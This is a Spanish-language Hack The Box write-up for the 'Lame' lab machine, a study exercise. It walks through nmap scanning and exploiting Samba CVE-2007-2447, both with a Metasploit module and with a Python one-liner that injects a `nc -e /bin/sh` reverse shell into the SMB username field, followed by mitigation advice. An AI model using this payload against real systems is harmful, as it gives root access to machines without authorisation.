Post

HTB - Lame

HTB - Lame

Lame es la primera máquina de Hack The Box y un clásico para empezar: un servicio Samba desactualizado permite ejecución remota de comandos directamente como root, sin necesidad de escalada de privilegios.

Ficha de la máquina

Campo Valor
Nombre Lame
SO Linux (Ubuntu)
Dificultad Easy
IP 10.10.10.3
Foothold Samba usermap_script (CVE-2007-2447)
Privesc No requerida — RCE directo como root
Técnicas clave Enumeración con nmap, explotación de Samba

Las IPs y flags de este write-up son de ejemplo. No se publican flags reales: HTB no permite compartir flags ni write-ups de máquinas activas.

Reconocimiento

Empezamos con un escaneo completo de puertos y detección de versiones.

1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/lame.txt 10.10.10.3

Resultado relevante:

1
2
3
4
5
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian

La versión Samba 3.0.20 es la pista clave: es vulnerable a CVE-2007-2447 (usermap_script), que permite inyección de comandos en el campo de usuario durante la autenticación.

Cadena de ataque

flowchart LR
    A[nmap<br/>escaneo de puertos] --> B[Samba 3.0.20<br/>en 139/445]
    B --> C[CVE-2007-2447<br/>usermap_script]
    C --> D[Inyección de comando<br/>en el campo usuario]
    D --> E[Shell como root]

Explotación

La vulnerabilidad reside en cómo Samba pasa el nombre de usuario al script definido en username map script. Metacaracteres de shell en el nombre de usuario se ejecutan en el servidor.

Opción A — Metasploit

1
2
3
4
5
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
run

Opción B — Manual (sin Metasploit)

Se puede reproducir a mano con la librería de Samba de Python, inyectando el payload en el campo de usuario:

1
2
3
4
5
6
python3 -c '
from smb.SMBConnection import SMBConnection
payload = "/=`nohup nc -e /bin/sh 10.10.14.5 4444`"
conn = SMBConnection(payload, "", "", "")
conn.connect("10.10.10.3", 445)
'

Script completo del PoC: exploit_lame.py. Solo para uso en entornos autorizados.

Con un listener a la escucha recibimos la conexión:

1
nc -lvnp 4444

Demostración

El shell entrante ya es root. Por eso Lame es tan didáctica: no hay fase de escalada de privilegios, la RCE es directa contra el proceso de Samba que corre como superusuario.

Post-explotación

1
2
id
# uid=0(root) gid=0(root)
Spoiler — dónde están las flags La flag de usuario está en el home del usuario `makis` (/home/makis/user.txt) y la de root en /root/root.txt. No se incluyen aquí sus valores.

Mitigación

  • Actualizar Samba a una versión parcheada (posterior a 3.0.25rc3).
  • No exponer los puertos 139/445 a redes no confiables.
  • Restringir username map script o deshabilitarlo si no se usa.

Recursos

This post is licensed under CC BY 4.0 by the author.